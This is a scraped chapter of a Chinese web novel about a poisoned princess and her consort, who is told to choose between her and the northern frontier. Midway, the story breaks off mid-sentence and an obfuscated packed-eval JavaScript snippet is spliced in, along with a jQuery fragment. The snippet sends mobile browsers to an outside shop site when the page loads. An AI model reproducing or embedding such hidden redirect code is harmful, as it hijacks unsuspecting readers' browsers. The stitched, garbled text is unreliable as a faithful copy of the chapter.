文趣网 > 其他小说 > 小叔又争又抢 > 71. 二选一
    殷沁梨的身体软下去的一瞬间,墨驰烈的手臂猛地收紧,将她整个人兜住。

    她的头无力地往后仰着,胳膊垂向下面,袖口露出一截苍白的皮肤。

    “昭昭!”

    墨驰烈急切地喊了一声,殷沁梨没有回应,呼吸变得很浅,胸口起伏的幅度也正在变小。

    他将她打横抱起来,快步走到床前,俯身托住她的头,将她慢慢搁在床上。

    “青檀!”他的声音骤然拔高。

    “青檀!”

    最先进来的是守在门口的朝云和锦棠。

    “驸马怎么了?”

    “去叫青檀!快!”

    锦棠和朝云看不到里面的情况,但墨驰烈声音里的迫切她们听得出来。

    朝云转身就跑,脚步声在廊道上越来越远。

    不多时,门外响起了急促的脚步声。

    青檀推门进来,快步走到内屋,目光没有在任何人身上停留,直接落到了床上。

    她什么都没问,一步跨到床边坐下,手指按上殷沁梨的腕脉。

    她的指腹压下去的时候,眉头一点一点地拧紧了,嘴唇也紧紧抿了起来。

    墨驰烈站在她身侧,身体微微向前倾着,无措地攥着拳。

    “怎么回事?”他的声音压着,但压不住尾音的抖,“她刚刚还好好的,我们还在说话......”

    “殿下被人下毒了。””青檀的声音又快又急。

    “什么!”

    墨驰烈的胸腔狠狠抽痛了一下。

    “脉象急转,杂乱无章。”青檀快速地说着,“劳烦驸马托起殿下。”

    墨驰烈立刻坐了下来,将殷沁梨轻轻拉起来,让她靠进自己怀里。

    她的身体像是没有骨头一样,沉沉地坠在他的怀里。

    青檀拿出一个小瓷瓶,拔开塞子倒出一粒深褐色的药丸,用指尖分开殷沁梨的嘴唇将药丸塞进去。

    朝云已经端了一杯水过来,青檀接过来,沿着殷沁梨的嘴角一点一点喂进去。

    殷沁梨的喉头动了一下,药丸被送了下去。

    青檀放下杯子,重新按上她的脉。

    她的脸白得像一张纸。

    墨驰烈不敢打扰青檀,等到她做完所有动作,才开口:“刚才喂得是什么?”

    “是殿下配的解毒丸。”

    “能解她的毒吗?”

    “不能,”青檀的手还按在殷沁梨的腕上。“但是能先压制住毒性,让殿下先醒过来。”

    墨驰烈难以置信道:“她早就知道自己会中毒,所以提前配了解毒丸?”

    “解毒丸是一直都有的,”她顿了一下,似是在思考,随后才缓缓道:“殿下没有十足的把握,只是觉得可能会有人动手,所以提前备下了。”

    “谁?”墨驰烈的声音在发抖,“谁要害她?”

    “奴婢不敢妄言,还是先等殿下醒来吧。”

    “多久能醒?”

    青檀收起了手,“大约半个时辰。”

    墨驰烈没有再问,他将殷沁梨放平,在床沿上坐了下来,背直直地挺着,心却在一点一点地往下塌。

    他每隔一会就忍不住伸手去探一下她的脖子,指腹贴着她脖颈侧面的脉搏,感受着那一下一下的跳动。

    不知过了多久,殷沁梨的眼皮动了一下。

    墨驰烈的手指收紧了,身体也同时前倾:“昭昭?”

    殷沁梨的睫毛颤了两下,缓缓抬了起来。

    “你感觉怎么样?”

    “没事,”她撑着床想要坐起来,“扶我起来。”

    墨驰烈伸手扶住她的肩膀,让她靠在自己的怀里。

    殷沁梨伸手按上自己的手腕,确认脉象。

    她抬眸,看向窗边站着的青檀、锦棠和朝云,“今天吃过的东西都还留着吧。”

    “奴婢全都留下了。”青檀回道。

    “将解毒丸泡水,去查。”

    “是。”

    身上一阵一阵浮起寒意,腹部却如火烧一般,外冷内热地蒸着她。

    “是谁给你下的毒?”墨驰烈问道。

    “得验出来才能知道了。”

    她的声音很低很轻,像是用了很大的力气才能维持平稳。

    她重新闭上了眼睛,靠在墨驰烈怀里养神。

    墨驰烈没有再问,手臂环着她的肩,感受着她的呼吸。

    半个时辰后,青檀端着一个托盘进来了,“殿下,查出来了。”

    托盘上放着一个酒杯和一碗褐色的水,“被下毒的是合卺酒。”

    她将褐色的水倒进酒杯里,酒液原本是清澈的,一接触褐色药水便迅速变成了墨黑色。

    殷沁梨伸手将酒杯端过来,用手扇着闻了一下。

    “是月露。”

    墨驰烈皱起了眉头,“我也喝了合卺酒,为什么我没事?”

    “月露单独使用没有危害,可以吃,也可以用来做皂。它只有和特别加工过的赤芝散一起用,才会变成剧毒。”

    青檀迷惑道:“双生噬的阴阳二引,使用间隔不能超过半个时辰。殿下喝合卺酒前一个时辰内没有吃过东西,而且其他地吃食也都验过了,没有毒。”

    殷沁梨思索了片刻:“将解毒水放进一个大些的盆里端过来,顺道把父皇早上送来的项牌一同拿过来。”

    墨驰烈闻言,身体微微一怔。

    父皇?

    陛下!

    青檀很快端进来一个铜盆,里面是褐色的药水,朝云将项牌放进了铜盆里,刚开始还没反应,眨眼的功夫,项牌“滋滋”冒起了细小的泡,褐色的药水慢慢变了颜色,从浅褐渐渐转为深黑,最后变成了浓墨一般的暗色。

    “果然是赤芝散。”殷沁梨讽刺地笑了。

    “这毒能解吗?”墨驰烈担忧地问道。

    “能。”

    “那就好。”

    墨驰烈悬着的心落了一些,可紧接着,他意识到了一个更可怕的问题。

    “这是陛下给你的?”

    “嗯,他今天早上特地送来的。”

    她的语气太过平常了,不是强撑出来的平静,而是真的像在说一件不值一提的事。

    墨驰烈看着她,像是被人迎面泼了一盆冷水,整个人被冻在那里。

    他等着她解释,等着她露出哪怕一丝后怕、一丝愤怒,或者一点点劫后余生的颤抖。

    可她什么都没有,只是将项牌从铜盆里拿出来,听着她毫不在意地说着:“擦干净,收好。”

    他的心跳一下比一下重。

    墨驰烈张了张嘴,喉咙里像堵着一团棉花。

    他想问“你不怕吗”,想问她“到底是怎么回事”,可是所有的话都卡在他的嗓子里,一个字都说出不来。

    “陛下......”墨驰烈张了一下嘴,那个称呼宛如砂纸磨他的喉咙,“想要杀你?”

    “是。”

    “为什么?”

    “因为我碍他事了。”

    “跟禳旱祈天大典有关?”

    殷沁梨的目光在他脸上停了下来,她没想到他会问出这句话,他的反应比她想象中更快。

    “你很聪明,”她道:“只是这些事情你不需要掺和。”

    墨驰烈已经完成了她的私心,他从此刻开始要做的,只是需要等一个契机,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795943|207127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    交上圣旨,离开玄京。

    “为什么?”墨驰烈的声音猛地拔高,握住了殷沁梨的手,“我们已经成婚了!”

    殷沁梨看了一眼青檀,“去熬药吧,不要让任何人看到。”

    青檀点头,和朝云一起退了出去。

    门合上之后,屋里只剩两个人。

    屋里的烛火还在案上静静地燃着,红绸帐幔垂在四面,被烛光映出暧昧的光泽,只是气氛陡然变了模样。

    殷沁梨的目光重新移回墨驰烈脸上,“你不想离开玄京了吗?”

    “这跟离开玄京有什么关系,我真的知道错了,我能守护好北疆,我也会守护好你。”

    墨驰烈下意识攥紧了殷沁梨的手。

    他的目光焦躁又不安。

    殷沁梨知道她做错了,她低估了“喜欢”的力量,也明白了她之前的莽撞、墨驰烈的抗拒。

    是她的不择手段才造就了眼前的情况。

    只是回不了头了。

    她深吸一口气,冷冰冰地说出:“我和北疆,只能二选一。”

    “为什么!”

    “父皇忌惮武宁侯,所以你的三叔墨衍之那么小就被送到了皇家寺庙里养着,可是这些年来,你的父亲,你的二叔,包括你、你的哥哥姐姐,全都在北疆站稳了脚跟,成为不可撼动的存在。父皇能心安吗?”

    “父皇为什么将墨衍之从寺庙里放出来,还让他做玄影司指挥使,他是悬在百官头上的刀,更是悬在武宁侯府的刀。”

    “为什么突然让你们全家入京述职?”

    “又为什么,父皇既然有意却不直接赐婚,而是一直在等你主动提出来?”

    “你一点都没有想过吗?”

    一连几问,墨驰烈被噎得哑口无言。

    他的喉结滚了一下,声音干涩又无力:“想过,只是我们都念着陛下不会赶尽杀绝。”

    “是抱着侥幸心理吧,”殷沁梨的声音不高,“认为墨家已经推出来了一个墨衍之,父皇总会念着一点薄情。”

    墨驰烈的瞳孔猛地颤了一下。

    殷沁梨看着他,目光很静很沉,如深不见底的潭水,“君君,臣臣。”

    殷沁梨说得很慢,说得很重。

    每一个字都砸在了墨驰烈的心头。

    “我和北疆,你只能选一个。”

    “你若是想与我做真正的夫妻,你就再也离不开玄京了。父皇不可能放任与我琴瑟和鸣的驸马,突然递交圣旨与我和离。”

    “我之前做的所有,也将白费。”

    殷沁梨说在这里停了下来,注视着墨驰烈。

    墨驰烈也抬起头看着她,只是他的眼眶渐渐红了。

    “你要做的就是一个不爱我的驸马。”

    “只有这样,你才能离开玄京。”

    “墨驰烈,”殷沁梨前倾,目光犀利,“我的驸马,你要怎么选呢?”

    ——

    一条条云纱从梁上垂下来,随着穿堂风浮荡。

    墨衍之坐在书案后面,指间夹着一支笔,笔尖悬在半空,墨迹将干未干。

    他听完寒鸦的话,没有立刻开口,笔尖搁回砚台上,发出一声极轻的响。

    “她真这么说?”他问。

    寒鸦垂着头,“是。”

    墨衍之的嘴角扬了起来,弧度不大。

    “有意思,”他道,声音不高,倚在后面的靠背上,看着漫天云纱,看着上面的字、上面的画,像是在跟自己说话,“将药伪装成血,在禳旱祈天大典上搏了个位置。”

    “有预谋的成婚,还懂医术。”

    他缓缓抬起眼皮,“让寒蝉继续盯紧她。”